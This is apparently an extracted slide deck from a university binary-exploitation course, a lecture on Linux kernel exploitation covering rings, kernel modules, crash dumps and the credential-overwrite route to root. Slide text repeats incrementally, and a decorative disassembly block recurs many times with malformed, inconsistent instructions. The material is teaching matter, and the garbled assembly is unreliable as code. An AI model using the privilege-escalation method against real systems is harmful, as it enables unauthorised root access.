sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
push    1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Additional Reading

- https://defuse.ca/exploiting-cpp-vtables.htm
- http://imchris.org/projects/overflows/cpp-vptrs.html

Labs

- There will be lab as usual next class

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                [ebp+arg_0], eax
                sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Linux Kernel Exploitation

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Patrick Biernat

First order of Business

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

First order of Business

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
```

You probably feel like this

Lecture Overview

1. An Introduction to the Kernel
2. General Exploitation Strategy
3. Kernel-Space Protections
4. Example
5. Conclusion

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Jumping out of the Matrix

So far, we have been exploiting binaries running in userspace.

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Jumping out of the Matrix

So far, we have been exploiting binaries running in userspace.

Userspace is an *abstraction* that runs "on top" of the kernel.

Jumping out of the Matrix

So far, we have been exploiting binaries running in userspace.

Userspace is an *abstraction* that runs "on top" of the kernel.

1. Filesystem I/O
2. Privilege Levels (Per User/Per Group)
3. Syscalls
4. Processes
5. And so much more

Jumping out of the Matrix

So far, we have been exploiting binaries running in userspace.

Userspace is an *abstraction* that runs “on top” of the kernel.

1. Filesystem I/O
2. Privilege Levels (Per User/Per Group)
3. Syscalls
4. Processes
5. And so much more

These are all “services” provided by the Kernel

What’s a Kernel?

Low Level code with two major responsibilities

1. Interact with and control hardware components
2. Provide an Environment in which Applications can run

What’s a Kernel?

Low Level code with two major responsibilities

1. Interact with and control hardware components
2. Provide an Environment in which Applications can run

The Kernel is the core of the operating system

What’s a Kernel? - Ring Model

Hardware Enforced Model

0: Privileged, Kernelspace

3: Restricted, Userspace

What’s a Kernel? - Ring Model

Hardware Enforced Model

0: Privileged, Kernelspace

3: Restricted, Userspace

Ring 1 and Ring 2 are not utilized by most popular/modern Operating Systems (Linux / Windows / OSX)

What’s a Kernel? - Ring Model

We’ve Been Here

What’s a Kernel? - Ring Model

We’ve Been Here

We’re Going Here

Obligatory Matrix Analogy

"The Matrix is the world that has been pulled over your eyes to blind you from the truth." - Morpheus

Obligatory Matrix Analogy

"The Matrix is the world that has been pulled over your eyes to blind you from the truth." - Morpheus

The kernel provides the "matrix" your programs run in

Obligatory Matrix Analogy

"The Matrix is the world that has been pulled over your eyes to blind you from the truth." - Morpheus

The kernel provides the "matrix" your programs run in

Break out of the Matrix, and you pwn the entire system

Kernel Pwning in Popular Culture

"Jailbreaking" or "rooting" devices often depends on finding and leveraging Kernel bugs

Kernel Pwning in Popular Culture

"Jailbreaking" or "rooting" devices often depends on finding and leveraging Kernel bugs

Remember JailbreakMe?

Kernel Pwning in Popular Culture

"Jailbreaking" or "rooting" devices often depends on finding and leveraging Kernel bugs

Remember JailbreakMe?

It used a remote code execution primitive inside Safari to trigger a kernel-level exploit to bypass Apple's code-signing protection

Kernel Basics

Your Kernel is:

Managing your Processes
Managing your Memory
Coordinating your Hardware

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Kernel Basics

Your Kernel is:

Managing your Processes
Managing your Memory
Coordinating your Hardware

A crash oftentimes means a reboot!

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Kernel Basics

Your Kernel is:

Managing your Processes
Managing your Memory
Coordinating your Hardware

A crash oftentimes means a reboot!

In general, we want to spend as little time there as possible.

Basic Exploitation Strategy

The Kernel is typically *the most powerful* place we can find bugs

Basic Exploitation Strategy

The Kernel is typically *the most powerful* place we can find bugs

But, how do we go from "vulnerability" to "privileged execution" *without bringing down the rest of the system?*

Basic Exploitation Strategy
The Big Picture

1. Find vulnerability in kernel code
2. Manipulate it to gain code execution
3. Elevate our process's privilege level
4. Survive the "trip" back to userland
5. Enjoy our root privileges

Basic Exploitation Strategy
The Vulnerabilities

You already know how to find these!

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                push    ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jz      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy
The Vulnerabilities

You already know how to find these!

Kernel vulnerabilities are almost *exactly* the same as userland vulnerabilities.

Basic Exploitation Strategy
The Vulnerabilities

You already know how to find these!

Kernel vulnerabilities are almost *exactly* the same as userland vulnerabilities.

1. Buffer Overflows
2. Signedness issues
3. Partial Overwrites
4. Use-After-Free

By now, finding these should be a familiar process

Basic Exploitation Strategy
The Vulnerabilities

The most common place to find vulnerabilities is inside of Loadable Kernel Modules (LKMs).

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy
The Vulnerabilities

The most common place to find vulnerabilities is inside of Loadable Kernel Modules (LKMs).

LKMs are like executables that run in Kernel Space.
A few common uses are listed below:

> Device Drivers
> Filesystem Drivers
> Networking Drivers
> Executable Interpreters
> Kernel Extensions
> (rootkits :P)

Basic Exploitation Strategy
The Vulnerabilities

LKMs are just binary blobs like your familiar ELF's, EXE's and MACH-O's. (On Linux, they even use the ELF format)

Basic Exploitation Strategy
The Vulnerabilities

LKMs are just binary blobs like your familiar ELF's, EXE's and MACH-O's. (On Linux, they even use the ELF format)

You can drop them into IDA and reverse-engineer them like you're used to already.

Basic Exploitation Strategy
The Vulnerabilities

There’s a few useful commands that deal with LKMs on Linux.

Basic Exploitation Strategy
The Vulnerabilities

There's a few useful commands that deal with LKMs on Linux.

insmod ---> Insert a module into the running kernel
rmmod ---> Remove a module from the running kernel
lsmod ---> List currently loaded modules

Basic Exploitation Strategy
The Vulnerabilities

There's a few useful commands that deal with LKMs on Linux.

insmod ---> Insert a module into the running kernel
rmmod ---> Remove a module from the running kernel
lsmod ---> List currently loaded modules

A general familiarity with these is helpful

Basic Exploitation Strategy
Gaining Code Execution

You already know how to do this too!

Basic Exploitation Strategy
Gaining Code Execution

You already know how to do this too!

The same basic exploitation techniques apply to Kernelspace
(After all, it's just x86 code!)

Basic Exploitation Strategy
Gaining Code Execution

You already know how to do this too!

The same basic exploitation techniques apply to Kernelspace (After all, it's just x86 code!)

Shellcoding, ROP, Pointer Overwrites, Type Confusion, etc can all be used to execute code in Kernel Land.

Basic Exploitation Strategy
Gaining Code Execution

You already know how to do this too!

The same basic exploitation techniques apply to Kernelspace (After all, it's just x86 code!)

Shellcoding, ROP, Pointer Overwrites, Type Confusion, etc can all be used to execute code in Kernel Land.

Typically, you won't have to deal with ASLR!

Basic Exploitation Strategy
Gaining Code Execution

Common Library calls are sometimes *different* , so there is a slight learning curve involved.

Basic Exploitation Strategy
Gaining Code Execution

Common Library calls are sometimes *different* , so there is a slight learning curve involved.

printf()	--->	printk()
memcpy()	--->	copy_from_user()/copy_to_user()
malloc()	--->	kmalloc()

Basic Exploitation Strategy
Gaining Code Execution

Common Library calls are sometimes *different* , so there is a slight learning curve involved.

printf()	--->	printk()
memcpy()	--->	copy_from_user()/copy_to_user()
malloc()	--->	kmalloc()

Typically, whatever you want to know is a quick google-search or man page away.

Basic Exploitation Strategy
Gaining Code Execution

Debugging kernel code can be difficult

```
                push    edi
                call    sub_314623
                test    eax, eax
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy
Gaining Code Execution

Debugging kernel code can be difficult

We can’t just run the kernel in gdb

Basic Exploitation Strategy
Gaining Code Execution

Debugging kernel code can be difficult

We can't just run the kernel in gdb

You will often have to rely on stack dumps, error messages, and other "black box" techniques to infer what's going on inside the kernel.

Basic Exploitation Strategy
Gaining Code Execution

This is an example of what you might see if you get a crash in the kernel.

```
PID: 0      TASK: ffff81121ff987b0  CPU: 2   COMMAND: "swapper"
 #0 [ffff81011fff3b80] crash_kexec at ffffffff800b1287
 #1 [ffff81011fff3c40] __die at ffffffff80065137
 #2 [ffff81011fff3c80] do_page_fault at ffffffff8006741e
 #3 [ffff81011fff3d70] error_exit at ffffffff8005ddf9
    [exception RIP: uhci_scan_schedule+162]
    RIP: ffffffff880218ee  RSP: ffff81011fff3e20  RFLAGS: 00010007
    RAX: 0000002019105000  RBX: 0000002019105000  RCX: ffff81121ff8cb68
    RDX: 0000000000000000  RSI: 0000000000000000  RDI: ffff81091fe27950
    RBP: ffff81011fff3ed0   R8: 0000000000000000   R9: ffff81012b4f7df8
    R10: 0000000000000001  R11: 00000000af482de4  R12: ffff81091fe27950
    R13: 0000000000000286  R14: ffff81091fe27800  R15: ffffffff80200367
    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
 #4 [ffff81011fff3e98] uhci_hub_status_data at ffffffff880232da [uhci_hcd]
 #5 [ffff81011fff3ec8] usb_hcd_poll_rh_status at ffffffff80200275
 #6 [ffff81011fff3f08] run_timer_softirq at ffffffff8009a819
 #7 [ffff81011fff3f58] __do_softirq at ffffffff800125a9
 #8 [ffff81011fff3f88] call_softirq at ffffffff8005e30c
 #9 [ffff81011fff3fa0] do_softirq at ffffffff8006d630
#10 [ffff81011fff3fb0] apic_timer_interrupt at ffffffff8005dc9e
--- <IRQ stack> ---
#11 [ffff81011ffefdf8] apic_timer_interrupt at ffffffff8005dc9e
    [exception RIP: acpi_safe_halt+37]
    RIP: ffffffff801a62ab  RSP: ffff81011ffefea0  RFLAGS: 00000246
    RAX: 0000000000000000  RBX: ffff81121ff1f8a8  RCX: 0000000000000000
    RDX: 0000000000000000  RSI: 0000000000000001  RDI: 0000000000000001
    RBP: ffff81011ffefee8   R8: ffff81011ffee000   R9: 000000000000003f
    R10: ffff81091fdc4008  R11: 00000000af482de4  R12: ffff81118d6700c0
    R13: 0000000000402040  R14: 0000000000000000  R15: ffff81118d6700c0
    ORIG_RAX: ffffffffffffff10  CS: 0010  SS: 0018
#12 [ffff81011ffefea0] acpi_processor_idle_simple at ffffffff801a6b29
```

Basic Exploitation Strategy
Gaining Code Execution

This is an example of what you might see if you get a crash in the kernel.

Call Trace
Register Dump
Stack Dump

```
PID: 0      TASK: ffff81121ff987b0  CPU: 2   COMMAND: "swapper"
 #0 [ffff81011fff3b80] crash_kexec at ffffffff800b1287
 #1 [ffff81011fff3c40] __die at ffffffff80065137
 #2 [ffff81011fff3c80] do_page_fault at ffffffff8006741e
 #3 [ffff81011fff3d70] error_exit at ffffffff8005ddf9
    [exception RIP: uhci_scan_schedule+162]
    RIP: ffffffff880218ee  RSP: ffff81011fff3e20  RFLAGS: 00010007
    RAX: 0000002019105000  RBX: 0000002019105000  RCX: ffff81121ff8cb68
    RDX: 0000000000000000  RSI: 0000000000000000  RDI: ffff81091fe27950
    RBP: ffff81011fff3ed0   R8: 0000000000000000   R9: ffff81012b4f7df8
    R10: 0000000000000001  R11: 00000000af482de4  R12: ffff81091fe27950
    R13: 0000000000000286  R14: ffff81091fe27800  R15: ffffffff80200367
    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
 #4 [ffff81011fff3e98] uhci_hub_status_data at ffffffff880232da [uhci_hcd]
 #5 [ffff81011fff3ec8] usb_hcd_poll_rh_status at ffffffff80200275
 #6 [ffff81011fff3f08] run_timer_softirq at ffffffff8009a819
 #7 [ffff81011fff3f58] __do_softirq at ffffffff800125a9
 #8 [ffff81011fff3f88] call_softirq at ffffffff8005e30c
 #9 [ffff81011fff3fa0] do_softirq at ffffffff8006d630
#10 [ffff81011fff3fb0] apic_timer_interrupt at ffffffff8005dc9e
--- <IRQ stack> ---
#11 [ffff81011ffefdf8] apic_timer_interrupt at ffffffff8005dc9e
    [exception RIP: acpi_safe_halt+37]
    RIP: ffffffff801a62ab  RSP: ffff81011ffefea0  RFLAGS: 00000246
    RAX: 0000000000000000  RBX: ffff81121ff1f8a8  RCX: 0000000000000000
    RDX: 0000000000000000  RSI: 0000000000000001  RDI: 0000000000000001
    RBP: ffff81011ffefee8   R8: ffff81011ffee000   R9: 000000000000003f
    R10: ffff81091fdc4008  R11: 00000000af482de4  R12: ffff81118d6700c0
    R13: 0000000000402040  R14: 0000000000000000  R15: ffff81118d6700c0
    ORIG_RAX: ffffffffffffff10  CS: 0010  SS: 0018
#12 [ffff81011ffefea0] acpi_processor_idle_simple at ffffffff801a6b29
```

Basic Exploitation Strategy
Gaining Code Execution

This is an example of what you might see if you get a crash in the kernel.

Call Trace
Register Dump
Stack Dump

You might be able to see this with dmesg if the crash is not fatal.

```
PID: 0      TASK: ffff81121ff987b0  CPU: 2   COMMAND: "swapper"
 #0 [ffff81011fff3b80] crash_kexec at ffffffff800b1287
 #1 [ffff81011fff3c40] __die at ffffffff80065137
 #2 [ffff81011fff3c80] do_page_fault at ffffffff8006741e
 #3 [ffff81011fff3d70] error_exit at ffffffff8005ddf9
    [exception RIP: uhci_scan_schedule+162]
    RIP: ffffffff880218ee  RSP: ffff81011fff3e20  RFLAGS: 00010007
    RAX: 0000002019105000  RBX: 0000002019105000  RCX: ffff81121ff8cb68
    RDX: 0000000000000000  RSI: 0000000000000000  RDI: ffff81091fe27950
    RBP: ffff81011fff3ed0   R8: 0000000000000000   R9: ffff81012b4f7df8
    R10: 0000000000000001  R11: 00000000af482de4  R12: ffff81091fe27950
    R13: 0000000000000286  R14: ffff81091fe27800  R15: ffffffff80200367
    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
 #4 [ffff81011fff3e98] uhci_hub_status_data at ffffffff880232da [uhci_hcd]
 #5 [ffff81011fff3ec8] usb_hcd_poll_rh_status at ffffffff80200275
 #6 [ffff81011fff3f08] run_timer_softirq at ffffffff8009a819
 #7 [ffff81011fff3f58] __do_softirq at ffffffff800125a9
 #8 [ffff81011fff3f88] call_softirq at ffffffff8005e30c
 #9 [ffff81011fff3fa0] do_softirq at ffffffff8006d630
#10 [ffff81011fff3fb0] apic_timer_interrupt at ffffffff8005dc9e
--- <IRQ stack> ---
#11 [ffff81011ffefdf8] apic_timer_interrupt at ffffffff8005dc9e
    [exception RIP: acpi_safe_halt+37]
    RIP: ffffffff801a62ab  RSP: ffff81011ffefea0  RFLAGS: 00000246
    RAX: 0000000000000000  RBX: ffff81121ff1f8a8  RCX: 0000000000000000
    RDX: 0000000000000000  RSI: 0000000000000001  RDI: 0000000000000001
    RBP: ffff81011ffefee8   R8: ffff81011ffee000   R9: 000000000000003f
    R10: ffff81091fdc4008  R11: 00000000af482de4  R12: ffff81118d6700c0
    R13: 0000000000402040  R14: 0000000000000000  R15: ffff81118d6700c0
    ORIG_RAX: ffffffffffffff10  CS: 0010  SS: 0018
#12 [ffff81011ffefea0] acpi_processor_idle_simple at ffffffff801a6b29
```

Basic Exploitation Strategy
Elevate Privileges

Remember: The Kernel manages running processes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jz      short loc_313066
                mov     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+var_70], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy
Elevate Privileges

Remember: The Kernel manages running processes

Therefore: The Kernel keeps track of permissions

Basic Exploitation Strategy
Elevate Privileges

Remember: The Kernel manages running processes

Therefore: The Kernel keeps track of permissions

```
struct task_struct {
....
/* process credentials */
        const struct cred __rcu *real_cred;
        const struct cred __rcu *cred;
        char comm[TASK_COMM_LEN];
....
};
```

linux/include/linux/sched.h

Basic Exploitation Strategy Elevate Privileges

Conveniently, the Linux Kernel has a wrapper for updating process credentials!

```
                push    edi
                call    sub_314623
                test    eax, eax
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jz      short loc_313066
                mov     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                call    sub_31486F
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy Elevate Privileges

Conveniently, the Linux Kernel has a wrapper for updating process credentials!

```
int commit_creds(struct cred *new) {
    ...
}
```

Basic Exploitation Strategy Elevate Privileges

Conveniently, the Linux Kernel has a wrapper for updating process credentials!

```
int commit_creds(struct cred *new) {
    ...
}
```

We just need to create a valid cred struct!

Basic Exploitation Strategy Elevate Privileges

The kernel is helpful again!

```
struct cred *prepare_kernel_cred(struct task_struct *daemon) {
    ...
}
```

Basic Exploitation Strategy Elevate Privileges

The kernel is helpful again!

```
struct cred *prepare_kernel_cred(struct task_struct *daemon) {
        ...
}
```

“

If @daemon is supplied, then the security data will be derived from that; otherwise they'll be set to 0 and no groups, full capabilities and no keys.

“

- ***source/kernel/cred.c***

Basic Exploitation Strategy Elevate Privileges

Great! Now we can map out what we need to do

```
                push    edi
                call    sub_314623
                test    eax, eax
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jz      short loc_313066
                mov     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                lea     eax, [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

